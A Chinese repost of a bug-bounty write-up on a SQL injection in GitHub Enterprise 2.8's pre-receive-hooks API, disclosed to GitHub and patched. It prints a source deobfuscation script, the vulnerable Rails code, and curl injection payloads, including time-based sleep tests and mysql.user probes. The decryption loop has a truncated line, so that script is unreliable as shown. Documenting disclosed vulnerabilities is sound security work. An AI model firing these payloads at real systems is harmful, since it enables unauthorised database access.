专栏名称: 数据分析与开发
伯乐在线旗下账号,分享数据库相关技术文章、教程和工具,另外还包括数据库相关的工作。偶尔也谈谈程序员人生 :)
目录
相关文章推荐
Java基基  ·  SpringBoot ... ·  昨天  
macrozheng  ·  分页查询接口,从2s优化到了0.01s! ·  1 周前  
51好读  ›  专栏  ›  数据分析与开发

看我如何发现 Github 企业版程序 SQL 注入漏洞并获得 5000 美刀赏金

数据分析与开发  · 公众号  · 数据库  · 2017-01-14 21:01

正文

(点击上方公众号,可快速关注)


编译:FreeBuf.COM

www.freebuf.com/vuls/124864.html

如有好文章投稿,请点击 → 这里了解详情


GitHub企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。Github企业版采用标准OVF格式集成,以虚拟机(VM)镜像方式发布,可以在enterprise.github.com网站注册下载45天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的SQL注入漏洞,并获得了5000美元漏洞赏金。


Github企业版VM环境安装之后的效果如下:




现在,Github搭建完成,接下来就可以在虚拟机系统内进行深入分析。


环境安全性分析


用Nmap发现有6个开启端口:


$ nmap -sT -vv -p 1-65535 192.168.187.145


...


PORT     STATE  SERVICE


22/tcp   open   ssh


25/tcp   closed smtp


80/tcp   open   http


122/tcp  open   smakynet


443/tcp  open   https


8080/tcp closed http-proxy


8443/tcp open   https-alt


9418/tcp open   git


这些端口用途初步分析为:


端口22/tcp和9418/tcp可能用于进程haproxy转发后端服务babeld;


端口80/tcp和443/tcp用于Github主要服务;


端口122/tcp用于SSH服务;


端口8443/tcp用于GitHub的管理控制台服务。



由于GitHub的管理控制台需要密码才能实现登录,所以你可以设置密码并通过122端口的SSH服务连接VM环境,SSH连接进入系统之后,检查系统信息发现,几乎所有的Github服务代码都位于目录/data/下:


# ls -al /data/


total 92


drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .


drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic


drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload


drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db


drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise


drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd


drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks


drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot


drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat


drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages


drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render


lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories


drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord


drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user



查看其中的文件源码,貌似是base64加密的:



GitHub使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索ruby_concealer.so,你会发现一个牛人已经对这种加密方式作了分析,只需在ruby_concealer.so中用rb_f_puts替换rb_f_eval即可实现解密。但我们还是实际动手来看看,打开IDA Pro分析一下:




你可以发现,其源程序使用了类Zlib::Inflate::inflate进行数据解压缩,并使用了一段明文KEY作为异或(XOR)操作,然而,让人搞笑的是,这段明文KEY竟然是这样的:


This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止GitHub企业版用户随意对VM环境进行修改)



哎呀,让人哭笑不得….


有了这些,我们就可以自己构造解密脚本了:


require 'zlib'


key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "


def decrypt(s)


    i, plaintext = 0, ''


    Zlib::Inflate.inflate(s).each_byte do |c|


        plaintext


        i += 1


    end


    plaintext


end


content = File.open(ARGV[0], "r").read


content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "


plaintext = eval content


puts plaintext


代码分析


实现程序源代码解密之后,让我们尝试着进行代码审计:


$ cloc /data/


   81267 text files.


   47503 unique files.


   24550 files ignored.


http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)


-----------------------------------------------------------------------------------


Language                         files          blank        comment           code


-----------------------------------------------------------------------------------


Ruby                             25854         359545         437125        1838503


Javascript                        4351         109994         105296         881416


YAML                               600           1349           3214         289039


Python                            1108          44862          64025         180400


XML                                121           6492           3223         125556


C                                  444          30903          23966         123938


Bourne Shell                       852          14490          16417          87477


HTML                               636          24760           2001          82526


C++                                184           8370           8890          79139


C/C++ Header                       428          11679          22773          72226


Java                               198           6665          14303          45187


CSS                                458           4641           3092          44813


Bourne Again Shell                 142           6196           9006          35106


m4                                  21           3259            369          29433


...


$ ./bin/rake about


About your application's environment


Ruby version              2.1.7 (x86_64-linux)


RubyGems version          2.2.5


Rack version              1.6.4


Rails version             3.2.22.4


JavaScript Runtime        Node.js (V8)


Active Record version     3.2.22.4


Action Pack version       3.2.22.4


Action Mailer version     3.2.22.4


Active Support version    3.2.22.4


Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport


Application root          /data/github/9fcdcc8


Environment               production


Database adapter          githubmysql2


Database schema version   20161003225024


从以上分析可以看出大部分为Ruby代码,而且可以发现:


程序通过端口80和443远程连接github.com、gist.github.com和api.github.com在目录/data/github/下更新代码库;


目录/data/render/可能为render.githubusercontent.com代码库;


程序通过8443端口运行目录/data/enterprise-manage/下服务。


漏洞分析


虽然我对Ruby不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:


第一天  设置Github虚拟机环境


第二天  设置Github虚拟机环境


第三天  学习Rails进行代码审计


第四天  学习Rails进行代码审计


第五天  学习Rails进行代码审计


第六天  哦也,找到了一个SQL注入漏洞


这个SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb文件的第45行:


33   scope :sorted_by, -> (order, direction = nil) {


34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"


35     select(


36       #{table_name}.*,


37       CASE hookable_type


38         WHEN 'global'     THEN 0


39         WHEN 'User'       THEN 1


40         WHEN 'Repository' THEN 2


41       END AS priority


42     SQL


43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")


44       .readonly(false)


45       .order([order, direction].join(" "))


46   }


虽然Rails中内置的对象关系映射ActiveRecord in Rails本身不允许SQL注入操作,但一些ActiveRecord的误用实例同样会引起SQL注入。具体可参考学习Rails-sqli.org。在该漏洞情况中,我们可以控制order方法的参数实现恶意代码注入。跟踪观察发现,服务sorted_by被data/github/current/app/api/org_pre_receive_hooks.rb文件的第61行调用:


10   get "/organizations/:organization_id/pre-receive-hooks" do


11     control_access :list_org_pre_receive_hooks, :o rg => org = find_org!


12     @documentation_url


13     targets = PreReceiveHookTarget.visible_for_hookable(org)


14     targets = sort(targets).paginate(pagination)


15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets


16     deliver :pre_receive_org_target_hash, targets


17   end


...


60   def sort(scope)


61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")


62   end


可以清楚地看到params[:sort]被传递给了scope.sorted_by,所以我们可以尝试着向params[:sort]注入恶意代码。


在触发该漏洞之前,接入API需要admin:pre_receive_hook函数具备一个有效的access_token值,高兴的是,我们可以通过以下命令来获取:


$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \


-d '{"scopes":"admin:pre_receive_hook","note":"x"}'


{


  "id": 4,


  "url": "https://192.168.187.145/api/v3/authorizations/4",


  "app": {


    "name": "x",


    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",


    "client_id": "00000000000000000000"


  },


  "token": "????????",


  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",


  "token_last_eight": "1fadac36",


  "note": "x",


  "note_url": null,


  "created_at": "2017-01-05T22:17:32Z",


  "updated_at": "2017-01-05T22:17:32Z",


  "scopes": [


    "admin:pre_receive_hook"


  ],


  "fingerprint": null


}


一旦获取到有效的access_token值之后,漏洞就会被触发:


$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \


'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'


[


]


$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \


'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'


{


  "message": "Server Error",


  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"


}


$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \


'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())


{


    ...


}




漏洞报送进程


2016/12/26 05:48   通过HackerOne把该漏洞报送给GitHub


2016/12/26 08:39   GitHub给出反馈,表示已通过验证并正在修复;


2016/12/26 15:48   提供给GitHub更多漏洞细节;


2016/12/28 02:44   GitHub反馈表示,漏洞补丁将随GitHub企业版后续更新释出;


2017/01/04 06:41   GitHub回复将给我5000美刀赏金;


2017/01/05 02:37   资询GitHub,是否介意我将此漏洞公开在个人博客;


2017/01/05 03:06   GitHub很爽快地表示,没问题!


2017/01/05 07:06   GitHub Enterprise 2.8.5发布!


如果你对该漏洞感兴趣,可以自己部署Github企业版系统环境进行深入分析。



觉得本文有帮助?请分享给更多人

关注「数据库开发」,提数据库开发技术